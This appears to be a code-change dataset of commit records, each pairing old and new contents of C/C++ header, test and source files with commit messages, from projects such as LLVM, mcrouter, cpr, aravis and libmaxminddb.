{"commit":"a2fff26fae03cd46562d8d146dde1d6ebd7d9f8d","old_file":"t\/test_helper.h","new_file":"t\/test_helper.h","old_contents":"\n#ifndef TEST_HELPER_C\n#define TEST_HELPER_C (1)\n\n#include \"MMDB.h\"\n\n#define MMDB_DEFAULT_DATABASE \"\/usr\/local\/share\/GeoIP\/GeoIP2-City.mmdb\"\n\ntypedef union {\n    struct in_addr v4;\n    struct in6_addr v6;\n} in_addrX;\n\nchar *get_test_db_fname(void);\nvoid ip_to_num(MMDB_s * mmdb, char *ipstr, in_addrX * dest_ipnum);\nint dbl_cmp(double a, double b);\n#endif\n","new_contents":"\n#ifndef TEST_HELPER_C\n#define TEST_HELPER_C (1)\n\n#include \"MMDB.h\"\n\ntypedef union {\n    struct in_addr v4;\n    struct in6_addr v6;\n} in_addrX;\n\nchar *get_test_db_fname(void);\nvoid ip_to_num(MMDB_s * mmdb, char *ipstr, in_addrX * dest_ipnum);\nint dbl_cmp(double a, double b);\n#endif\n","subject":"Remove superfluous default db definition","message":"Remove superfluous default db definition\n","lang":"C","license":"apache-2.0","repos":"maxmind\/libmaxminddb,maxmind\/libmaxminddb,maxmind\/libmaxminddb"}
{"commit":"457459df300b2c65084cac758b8dc28538da8c06","old_file":"include\/cpr\/timeout.h","new_file":"include\/cpr\/timeout.h","old_contents":"#ifndef CPR_TIMEOUT_H\n#define CPR_TIMEOUT_H\n\n#include <cstdint>\n#include <chrono>\n\nnamespace cpr {\n\nclass Timeout {\n  public:\n    Timeout(const std::chrono::milliseconds& timeout) : ms(timeout) {}\n    Timeout(const std::int32_t& timeout) : ms(timeout) {}\n\n    std::chrono::milliseconds ms;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_TIMEOUT_H\n#define CPR_TIMEOUT_H\n\n#include <cstdint>\n#include <chrono>\n#include <limits>\n#include <stdexcept>\n\nnamespace cpr {\n\nclass Timeout {\n  public:\n    Timeout(const std::chrono::milliseconds& duration) : ms{duration} {\n        if(ms.count() > std::numeric_limits<long>::max()) {\n            throw std::overflow_error(\"cpr::Timeout: timeout value overflow.\");\n        }\n        if(ms.count() < std::numeric_limits<long>::min()) {\n            throw std::underflow_error(\"cpr::Timeout: timeout value underflow.\");\n        }\n    }\n    Timeout(const std::int32_t& milliseconds)\n            : Timeout{std::chrono::milliseconds(milliseconds)} {}\n\n    std::chrono::milliseconds ms;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Check for under\/overflow in Timeout constructor. Codestyle fixes.","message":"Check for under\/overflow in Timeout constructor. Codestyle fixes.\n","lang":"C","license":"mit","repos":"msuvajac\/cpr,msuvajac\/cpr,whoshuu\/cpr,whoshuu\/cpr,msuvajac\/cpr,whoshuu\/cpr"}
{"commit":"1ceae27eddb5fd399e58930974638cb1bd367955","old_file":"mcrouter\/lib\/StatsReply.h","new_file":"mcrouter\/lib\/StatsReply.h","old_contents":"\/*\n *  Copyright (c) 2016, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <string>\n#include <vector>\n\n#include <folly\/Conv.h>\n\nnamespace facebook { namespace memcache {\n\nclass McReply;\nnamespace cpp2 {\nclass McStatsReply;\n}\ntemplate <class ThriftType>\nclass TypedThriftReply;\n\nclass StatsReply {\n public:\n  template <typename V>\n  void addStat(folly::StringPiece name, V value) {\n    stats_.push_back(make_pair(name.str(), folly::to<std::string>(value)));\n  }\n\n  McReply getMcReply();\n  TypedThriftReply<cpp2::McStatsReply> getReply();\n\n private:\n  std::vector<std::pair<std::string, std::string>> stats_;\n};\n\n}}  \/\/ facebook::memcache\n","new_contents":"\/*\n *  Copyright (c) 2016, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <string>\n#include <vector>\n\n#include <folly\/Conv.h>\n\nnamespace facebook { namespace memcache {\n\nclass McReply;\nnamespace cpp2 {\nclass McStatsReply;\n}\ntemplate <class ThriftType>\nclass TypedThriftReply;\n\nclass StatsReply {\n public:\n  template <typename V>\n  void addStat(folly::StringPiece name, V&& value) {\n    stats_.emplace_back(name.str(),\n                        folly::to<std::string>(std::forward<V>(value)));\n  }\n\n  McReply getMcReply();\n  TypedThriftReply<cpp2::McStatsReply> getReply();\n\n private:\n  std::vector<std::pair<std::string, std::string>> stats_;\n};\n\n}}  \/\/ facebook::memcache\n","subject":"Fix printf format, remove unused variables","message":"Fix printf format, remove unused variables\n\nSummary: title\n\nDifferential Revision: D3188505\n\nfb-gh-sync-id: 7f544319c247b8607e058d2ae0c02c272e3c5fe1\nfbshipit-source-id: 7f544319c247b8607e058d2ae0c02c272e3c5fe1\n","lang":"C","license":"mit","repos":"yqzhang\/mcrouter,facebook\/mcrouter,facebook\/mcrouter,yqzhang\/mcrouter,yqzhang\/mcrouter,facebook\/mcrouter,yqzhang\/mcrouter,facebook\/mcrouter"}
{"commit":"30f290dac339d621972043be70ae520de128a0d5","old_file":"test\/FrontendC\/2005-07-20-SqrtNoErrno.c","new_file":"test\/FrontendC\/2005-07-20-SqrtNoErrno.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -o - -fno-math-errno | grep llvm.sqrt\n#include <math.h>\n\nfloat foo(float X) {\n  \/\/ Check that this compiles to llvm.sqrt when errno is ignored.\n  return sqrtf(X);\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -o - -fno-math-errno | grep llvm.sqrt\n\/\/ llvm.sqrt has undefined behavior on negative inputs, so it is\n\/\/ inappropriate to translate C\/C++ sqrt to this.\n\/\/ XFAIL: *\n#include <math.h>\n\nfloat foo(float X) {\n  \/\/ Check that this compiles to llvm.sqrt when errno is ignored.\n  return sqrtf(X);\n}\n","subject":"Disable test; what it's testing for is wrong.","message":"Disable test; what it's testing for is wrong.\n\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@82658 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"1c2d7aaafef7a07c2b088142a57666ff51e5d5c5","old_file":"src\/aravistest.c","new_file":"src\/aravistest.c","old_contents":"#include <arv.h>\n#include <arvgvinterface.h>\n\nint\nmain (int argc, char **argv)\n{\n\tArvInterface *interface;\n\tArvDevice *device;\n\tchar buffer[1024];\n\n\tg_type_init ();\n\n\tinterface = arv_gv_interface_get_instance ();\n\n\tdevice = arv_interface_get_first_device (interface);\n\n\tif (device != NULL) {\n\t\tarv_device_read (device, 0x00014150, 8, buffer);\n\t\tarv_device_read (device, 0x000000e8, 16, buffer);\n\t\tarv_device_read (device,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_ADDRESS_1,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_SIZE, buffer);\n\t\tarv_device_read (device,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_ADDRESS_2,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_SIZE, buffer);\n\t\tarv_device_read (device,\n\t\t\t\t 0x00100000, 0x00015904, buffer);\n\n\t\tg_object_unref (device);\n\t} else\n\t\tg_message (\"No device found\");\n\n\tg_object_unref (interface);\n\n\treturn 0;\n}\n","new_contents":"#include <arv.h>\n#include <arvgvinterface.h>\n\nint\nmain (int argc, char **argv)\n{\n\tArvInterface *interface;\n\tArvDevice *device;\n\tchar buffer[100000];\n\n\tg_type_init ();\n\n\tinterface = arv_gv_interface_get_instance ();\n\n\tdevice = arv_interface_get_first_device (interface);\n\n\tif (device != NULL) {\n\t\tarv_device_read (device, 0x00014150, 8, buffer);\n\t\tarv_device_read (device, 0x000000e8, 16, buffer);\n\t\tarv_device_read (device,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_ADDRESS_1,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_SIZE, buffer);\n\t\tarv_device_read (device,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_ADDRESS_2,\n\t\t\t\t ARV_GVCP_GENICAM_FILENAME_SIZE, buffer);\n\t\tarv_device_read (device,\n\t\t\t\t 0x00100000, 0x00015904, buffer);\n\n\t\tg_file_set_contents (\"\/tmp\/genicam.xml\", buffer, 0x00015904, NULL);\n\n\t\tg_object_unref (device);\n\t} else\n\t\tg_message (\"No device found\");\n\n\tg_object_unref (interface);\n\n\treturn 0;\n}\n","subject":"Save the genicam file in \/tmp\/genicam.xml","message":"Save the genicam file in \/tmp\/genicam.xml\n","lang":"C","license":"lgpl-2.1","repos":"AravisProject\/aravis,AnilRamachandran\/aravis,AnilRamachandran\/aravis,lu-zero\/aravis,AravisProject\/aravis,AravisProject\/aravis,AnilRamachandran\/aravis,AravisProject\/aravis,lu-zero\/aravis,lu-zero\/aravis,AravisProject\/aravis,lu-zero\/aravis,AnilRamachandran\/aravis,lu-zero\/aravis,AnilRamachandran\/aravis"}
{"commit":"901f0f8ffaf24f80a4a4a7ea3a2c64001861705b","old_file":"src\/cassert.h","new_file":"src\/cassert.h","old_contents":"","new_contents":"\/**\n * Thanks to http:\/\/stackoverflow.com\/users\/68204\/rberteig\n * http:\/\/stackoverflow.com\/questions\/807244\/c-compiler-asserts-how-to-implement\n *\/\n\n\/** A compile time assertion check.\n *\n *  Validate at compile time that the predicate is true without\n *  generating code. This can be used at any point in a source file\n *  where typedef is legal.\n *\n *  On success, compilation proceeds normally.\n *\n *  On failure, attempts to typedef an array type of negative size. The\n *  offending line will look like\n *      typedef assertion_failed_file_h_42[-1]\n *  where file is the content of the second parameter which should\n *  typically be related in some obvious way to the containing file\n *  name, 42 is the line number in the file on which the assertion\n *  appears, and -1 is the result of a calculation based on the\n *  predicate failing.\n *\n *  \\param predicate The predicate to test. It must evaluate to\n *  something that can be coerced to a normal C boolean.\n *\n *  \\param file A sequence of legal identifier characters that should\n *  uniquely identify the source file in which this condition appears.\n *\/\n#define CASSERT(predicate, file) _impl_CASSERT_LINE(predicate,__LINE__,file)\n\n#define _impl_PASTE(a,b) a##b\n#define _impl_CASSERT_LINE(predicate, line, file) \\\n    typedef char _impl_PASTE(assertion_failed_##file##_,line)[2*!!(predicate)-1];\n","subject":"Add compile time assert macro","message":"Add compile time assert macro\n\nCredit to Ross Berteig\n","lang":"C","license":"bsd-3-clause","repos":"rbruggem\/mqlog,rbruggem\/mqlog"}
{"commit":"937213da82f18318d5f0f0e252d19ce40c7c6498","old_file":"src\/fdndapplication.h","new_file":"src\/fdndapplication.h","old_contents":"\/**************************************************************************************\n**\n** Copyright (C) 2014 Files Drag & Drop\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License as published by the Free Software Foundation; either\n** version 2.1 of the License, or (at your option) any later version.\n**\n** This library is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n** Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public\n** License along with this library; if not, write to the Free Software\n** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n**\n**************************************************************************************\/\n\n#ifndef FDNDAPPLICATION_H\n#define FDNDAPPLICATION_H\n\n#include <QObject>\n\n#include \"QtSingleApplication\/singleapplication\/qtsingleapplication.h\"\n\n\/**\n * Application class that will allow to control system event\n * as the dock events on the mac\n *\/\nclass FDNDApplication : public QtSingleApplication\n{\n    Q_OBJECT\npublic:\n    \/\/\/ Constructor\n    explicit FDNDApplication(int argc, char *argv[]);\n    \nsignals:\n    \/**\n     * Notify that the dock was clicked\n     *\/\n    void dockClicked();\n    \npublic slots:\n    \/**\n     * On mac dock clicked (use the low level objc API)\n     *\/\n    void onClickOnDock();\n    \n};\n\n#endif \/\/ FDNDAPPLICATION_H\n","new_contents":"\/**************************************************************************************\n**\n** Copyright (C) 2014 Files Drag & Drop\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License as published by the Free Software Foundation; either\n** version 2.1 of the License, or (at your option) any later version.\n**\n** This library is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n** Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public\n** License along with this library; if not, write to the Free Software\n** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n**\n**************************************************************************************\/\n\n#ifndef FDNDAPPLICATION_H\n#define FDNDAPPLICATION_H\n\n#include <QObject>\n\n#include \"qtsingleapplication\/singleapplication\/qtsingleapplication.h\"\n\n\/**\n * Application class that will allow to control system event\n * as the dock events on the mac\n *\/\nclass FDNDApplication : public QtSingleApplication\n{\n    Q_OBJECT\npublic:\n    \/\/\/ Constructor\n    explicit FDNDApplication(int argc, char *argv[]);\n    \nsignals:\n    \/**\n     * Notify that the dock was clicked\n     *\/\n    void dockClicked();\n    \npublic slots:\n    \/**\n     * On mac dock clicked (use the low level objc API)\n     *\/\n    void onClickOnDock();\n    \n};\n\n#endif \/\/ FDNDAPPLICATION_H\n","subject":"FIX case sensitive include name (qtsingleapplication)","message":"FIX case sensitive include name (qtsingleapplication)\n","lang":"C","license":"lgpl-2.1","repos":"filesdnd\/filesdnd-qt,filesdnd\/filesdnd-qt,filesdnd\/filesdnd-qt,filesdnd\/filesdnd-qt"}
{"commit":"3fcf6ec1e94e43fb8d7df92627fe1963d724e07a","old_file":"include\/llvm\/Support\/Unique.h","new_file":"include\/llvm\/Support\/Unique.h","old_contents":"\/\/***************************************************************************\n\/\/ class Unique:\n\/\/\tMixin class for classes that should never be copied.\n\/\/ \n\/\/ Purpose:\n\/\/\tThis mixin disables both the copy constructor and the\n\/\/\tassignment operator.  It also provides a default equality operator.\n\/\/ \n\/\/ History:\n\/\/     09\/24\/96 - vadve - Created (adapted from dHPF).\n\/\/\n\/\/***************************************************************************\n\n#ifndef UNIQUE_H\n#define UNIQUE_H\n\n#include <assert.h>\n\n\nclass Unique\n{\nprotected:\n  \/*ctor*\/\tUnique\t\t() {}\n  \/*dtor*\/ virtual ~Unique\t() {}\n  \npublic:\n  virtual bool\toperator==\t(const Unique& u1) const;\n  virtual bool\toperator!=\t(const Unique& u1) const;\n\nprivate:\n  \/\/ \n  \/\/ Disable the copy constructor and the assignment operator\n  \/\/ by making them both private:\n  \/\/ \n  \/*ctor*\/\tUnique\t\t(Unique&)\t\t{ assert(0); }\n  virtual Unique& operator=\t(const Unique& u1)\t{ assert(0);\n\t\t\t\t\t\t\t    return *this; }\n};\n\n\n\/\/ Unique object equality.\ninline bool\nUnique::operator==(const Unique& u2) const\n{\n    return (bool) (this == &u2);\n}\n\n\n\/\/ Unique object inequality.\ninline bool\nUnique::operator!=(const Unique& u2) const\n{\n    return (bool) !(this == &u2);\n}\n\n#endif\n","new_contents":"\/\/************************************************************-*- C++ -*-\n\/\/ class Unique:\n\/\/\tMixin class for classes that should never be copied.\n\/\/ \n\/\/ Purpose:\n\/\/\tThis mixin disables both the copy constructor and the\n\/\/\tassignment operator.  It also provides a default equality operator.\n\/\/ \n\/\/ History:\n\/\/     09\/24\/96 - vadve - Created (adapted from dHPF).\n\/\/\n\/\/***************************************************************************\n\n#ifndef UNIQUE_H\n#define UNIQUE_H\n\n#include <assert.h>\n\n\nclass Unique\n{\nprotected:\n  \/*ctor*\/\tUnique\t\t() {}\n  \/*dtor*\/ virtual ~Unique\t() {}\n  \npublic:\n  virtual bool\toperator==\t(const Unique& u1) const;\n  virtual bool\toperator!=\t(const Unique& u1) const;\n\nprivate:\n  \/\/ \n  \/\/ Disable the copy constructor and the assignment operator\n  \/\/ by making them both private:\n  \/\/ \n  \/*ctor*\/\tUnique\t\t(Unique&)\t\t{ assert(0); }\n  virtual Unique& operator=\t(const Unique& u1)\t{ assert(0);\n\t\t\t\t\t\t\t    return *this; }\n};\n\n\n\/\/ Unique object equality.\ninline bool\nUnique::operator==(const Unique& u2) const\n{\n    return (bool) (this == &u2);\n}\n\n\n\/\/ Unique object inequality.\ninline bool\nUnique::operator!=(const Unique& u2) const\n{\n    return (bool) !(this == &u2);\n}\n\n#endif\n","subject":"Add flag for emacs so it realizes it's C++ code","message":"Add flag for emacs so it realizes it's C++ code\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@269 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap"}
{"commit":"edcfd59b7b9e3e114ba66b552a1cca48b7365008","old_file":"host-shared\/Labels.h","new_file":"host-shared\/Labels.h","old_contents":"\/* Chrome Linux plugin\n*\n* This software is released under either the GNU Library General Public\n* License (see LICENSE.LGPL).\n*\n* Note that the only valid version of the LGPL license as far as this\n* project is concerned is the original GNU Library General Public License\n* Version 2.1, February 1999\n*\/\n\n#ifndef LABELS_H\n#define\tLABELS_H\n\n#define USER_CANCEL 1\n#define READER_NOT_FOUND 5\n#define UNKNOWN_ERROR 5\n#define CERT_NOT_FOUND 2\n#define INVALID_HASH 17\n#define ONLY_HTTPS_ALLOWED 19\n\n#include <map>\n#include <string>\n#include <vector>\n\nclass Labels {\n private:\n\tint selectedLanguage;\n\tstd::map<std::string,std::string[3]> labels;\n\tstd::map<int,std::string[3]> errors;\n\tstd::map<std::string, int> languages;\n\tvoid init();\n\n public:\n  Labels();\n\tvoid setLanguage(std::string language);\n\tstd::string get(std::string labelKey);\n\tstd::string getError(int errorCode);\n};\n\nextern Labels l10nLabels;\n\n#endif\t\/* LABELS_H *\/\n\n","new_contents":"\/* Chrome Linux plugin\n*\n* This software is released under either the GNU Library General Public\n* License (see LICENSE.LGPL).\n*\n* Note that the only valid version of the LGPL license as far as this\n* project is concerned is the original GNU Library General Public License\n* Version 2.1, February 1999\n*\/\n\n#ifndef LABELS_H\n#define\tLABELS_H\n\n#define USER_CANCEL 1\n#define READER_NOT_FOUND 5\n#define UNKNOWN_ERROR 5\n#define CERT_NOT_FOUND 2\n#define INVALID_HASH 17\n#define ONLY_HTTPS_ALLOWED 19\n\n#include <map>\n#include <string>\n#include <vector>\n\nclass Labels {\n private:\n\tint selectedLanguage;\n\tstd::map<std::string,std::vector<std::string> > labels;\n\tstd::map<int,std::vector<std::string> > errors;\n\tstd::map<std::string, int> languages;\n\tvoid init();\n\n public:\n  Labels();\n\tvoid setLanguage(std::string language);\n\tstd::string get(std::string labelKey);\n\tstd::string getError(int errorCode);\n};\n\nextern Labels l10nLabels;\n\n#endif\t\/* LABELS_H *\/\n\n","subject":"Fix GCC bug based code (allows to compile with clang)","message":"Fix GCC bug based code (allows to compile with clang)\n","lang":"C","license":"lgpl-2.1","repos":"metsma\/chrome-token-signing,cristiano-andrade\/chrome-token-signing,cristiano-andrade\/chrome-token-signing,fabiorusso\/chrome-token-signing,cristiano-andrade\/chrome-token-signing,metsma\/chrome-token-signing,metsma\/chrome-token-signing,fabiorusso\/chrome-token-signing,fabiorusso\/chrome-token-signing,cristiano-andrade\/chrome-token-signing,open-eid\/chrome-token-signing,open-eid\/chrome-token-signing,fabiorusso\/chrome-token-signing,open-eid\/chrome-token-signing,metsma\/chrome-token-signing,open-eid\/chrome-token-signing,metsma\/chrome-token-signing,open-eid\/chrome-token-signing"}
{"commit":"7512beb75147e357dc4870f42d1088a27f65d1d2","old_file":"test\/FrontendC\/pr4349.c","new_file":"test\/FrontendC\/pr4349.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | grep svars2 | grep {\\\\\\[2 x \\\\\\[2 x i8\\\\\\]\\\\\\]}\n\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | grep svars2 | grep {i32 1} | count 1\n\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | grep svars3 | grep {\\\\\\[2 x i16\\\\\\]}\n\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | grep svars3 | grep {i32 1} | count 1\n\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | grep svars4 | grep {\\\\\\[2 x \\\\\\[2 x i8\\\\\\]\\\\\\]} | count 1\n\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | grep svars4 | grep {i32 1, i32 1} | count 1\n\/\/ PR 4349\n\nunion reg\n{\n    unsigned char b[2][2];\n    unsigned short w[2];\n    unsigned int d;\n};\nstruct cpu\n{\n    union reg pc;\n};\nextern struct cpu cpu;\nstruct svar\n{\n    void *ptr;\n};\nstruct svar svars1[] =\n{\n    { &((cpu.pc).w[0]) }\n};\nstruct svar svars2[] =\n{\n    { &((cpu.pc).b[0][1]) }\n};\nstruct svar svars3[] =\n{\n    { &((cpu.pc).w[1]) }\n};\nstruct svar svars4[] =\n{\n    { &((cpu.pc).b[1][1]) }\n};\n","subject":"Test for rev 73205 (PR 4349)","message":"Test for rev 73205 (PR 4349)\n\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@73206 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap"}
{"commit":"4130b5d7b733c94055c53056b43aa887dc163d99","old_file":"arch\/powerpc\/include\/asm\/abs_addr.h","new_file":"arch\/powerpc\/include\/asm\/abs_addr.h","old_contents":"#ifndef _ASM_POWERPC_ABS_ADDR_H\n#define _ASM_POWERPC_ABS_ADDR_H\n#ifdef __KERNEL__\n\n\n\/*\n * c 2001 PPC 64 Team, IBM Corp\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/memblock.h>\n\n#include <asm\/types.h>\n#include <asm\/page.h>\n#include <asm\/prom.h>\n\n\/* Convenience macros *\/\n#define virt_to_abs(va) __pa(va)\n#define abs_to_virt(aa) __va(aa)\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_ABS_ADDR_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_ABS_ADDR_H\n#define _ASM_POWERPC_ABS_ADDR_H\n#ifdef __KERNEL__\n\n\n\/*\n * c 2001 PPC 64 Team, IBM Corp\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/memblock.h>\n\n#include <asm\/types.h>\n#include <asm\/page.h>\n#include <asm\/prom.h>\n\n\/* Convenience macros *\/\n#define virt_to_abs(va) __pa(va)\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_ABS_ADDR_H *\/\n","subject":"Remove abs_to_virt() now all users have been fixed","message":"powerpc: Remove abs_to_virt() now all users have been fixed\n\nSigned-off-by: Michael Ellerman <17b9e1c64588c7fa6419b4d29dc1f4426279ba01@ellerman.id.au>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"396654016649d907ab791777e916745b1bf182ef","old_file":"Source\/Utils\/include\/Utils\/Assert.h","new_file":"Source\/Utils\/include\/Utils\/Assert.h","old_contents":"\/\/\n\/\/ Created by bentoo on 29.11.16.\n\/\/\n\n#ifndef GAME_ASSERT_H\n#define GAME_ASSERT_H\n\n#include <assert.h>\n#include <cstdio>\n#include <cstdlib>\n#include <utility>\n\n#include \"DebugSourceInfo.h\"\n\n#ifdef _MSC_VER\n#define YAGE_BREAK __debugbreak()\n#elif __MINGW32__\n#define YAGE_BREAK __builtin_trap()\n#else\n#include <signal.h>\n#define YAGE_BREAK raise(SIGTRAP)\n#endif\n\n#ifndef NDEBUG\n#define YAGE_ASSERT(predicate, message, ... ) (predicate) ? ((void)0) \\\n : (Utils::Assert(DEBUG_SOURCE_INFO, message, ##__VA_ARGS__), YAGE_BREAK, ((void)0))\n#else\n#define YAGE_ASSERT(predicate, message, ... ) (void(0))\n#endif\n\nnamespace Utils\n{\n\tstruct Assert\n\t{\n\t\tstatic char buffer[256];\n\n\t\ttemplate <typename ... Args>\n\t\tAssert(Utils::DebugSourceInfo info, const char* message, Args&& ... args)\n\t\t{\n\t\t\tstd::snprintf(buffer, sizeof(buffer), message, std::forward<Args>(args)...);\n\t\t\tstd::fprintf(stderr, \"Assert failed!\\n\\tfile %s, line %zu,\\nreason : %s\",\n\t\t\t\t\t\t info.file, info.line, buffer);\n\t\t}\n\t};\n}\n\n#endif \/\/GAME_ASSERT_H\n","new_contents":"\/\/\n\/\/ Created by bentoo on 29.11.16.\n\/\/\n\n#ifndef GAME_ASSERT_H\n#define GAME_ASSERT_H\n\n#include <cassert>\n#include <cstdio>\n#include <cstdlib>\n#include <utility>\n\n#include \"DebugSourceInfo.h\"\n\n#ifdef _MSC_VER\n#define YAGE_BREAK __debugbreak()\n#elif __MINGW32__\n#define YAGE_BREAK __builtin_trap()\n#else\n#include <csignal>\n#define YAGE_BREAK raise(SIGTRAP)\n#endif\n\n#ifndef NDEBUG\n#define YAGE_ASSERT(predicate, message, ... ) (predicate) ? ((void)0) \\\n : (Utils::Assert(DEBUG_SOURCE_INFO, message, ##__VA_ARGS__), YAGE_BREAK, ((void)0))\n#else\n#define YAGE_ASSERT(predicate, message, ... ) (void(0))\n#endif\n\nnamespace Utils\n{\n\tstruct Assert\n\t{\n\t\tstatic char buffer[256];\n\n\t\ttemplate <typename ... Args>\n\t\tAssert(Utils::DebugSourceInfo info, const char* message, Args&& ... args)\n\t\t{\n\t\t\tstd::snprintf(buffer, sizeof(buffer), message, std::forward<Args>(args)...);\n\t\t\tstd::fprintf(stderr, \"Assert failed!\\n\\tfile %s, line %zu,\\nreason : %s\",\n\t\t\t\t\t\t info.file, info.line, buffer);\n\t\t}\n\t};\n}\n\n#endif \/\/GAME_ASSERT_H\n","subject":"Include std headers instead of C ones","message":"Include std headers instead of C ones\n","lang":"C","license":"mit","repos":"MrJaqbq\/YAGE,MrJaqbq\/Volkhvy,MrJaqbq\/Volkhvy,MrJaqbq\/YAGE"}
